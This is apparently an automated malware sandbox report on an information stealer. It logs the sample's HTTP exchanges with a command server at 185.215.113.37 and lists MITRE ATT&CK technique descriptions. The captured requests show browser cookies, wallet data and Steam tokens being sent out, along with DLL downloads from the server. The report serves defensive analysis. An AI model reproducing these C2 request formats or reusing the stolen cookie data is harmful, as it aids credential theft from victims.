Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGHCGIIDGDAKFIEBKFCFHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 2d 2d 0d 0a Data Ascii: ------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="message"fplugins------CGHCGIIDGDAKFIEBKFCF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGIEHDBAAFIDGDAAAAHost: 185.215.113.37Content-Length: 7063Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAEBGCAAECAKFHIIJDBHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 2d 2d 0d 0a Data Ascii: ------IDAEBGCAAECAKFHIIJDBContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------IDAEBGCAAECAKFHIIJDBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IDAEBGCAAECAKFHIIJDBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nU
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBAKKKFBGDHJKFHJJJJHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 2d 2d 0d 0a Data Ascii: ------GDBAKKKFBGDHJKFHJJJJContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------GDBAKKKFBGDHJKFHJJJJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GDBAKKKFBGDHJKFHJJJJContent-Disposition: form-data; name="file"------GDBAKKKFBGDHJKFHJJJJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCBHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file"------KFIJEGCBGIDGHIDHDGCB--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCBHost: 185.215.113.37Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDGHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="message"wallets------JECBGCFHCFIDHIDHDGDG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAEGHDGDBGDGDAAFIHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 2d 2d 0d 0a Data Ascii: ------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="message"files------AFHDAEGHDGDBGDGDAAFI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBKJEGIEBFHCAAKKEBAHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 2d 2d 0d 0a Data Ascii: ------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="file"------HDBKJEGIEBFHCAAKKEBA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBAAEGDBKKECBGIJEBHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 2d 2d 0d 0a Data Ascii: ------JJDBAAEGDBKKECBGIJEBContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------JJDBAAEGDBKKECBGIJEBContent-Disposition: form-data; name="message"ybncbhylepme------JJDBAAEGDBKKECBGIJEB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKJKKECFIDGDHIJEGDHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 2d 2d 0d 0a Data Ascii: ------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CAKKJKKECFIDGDHIJEGD--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

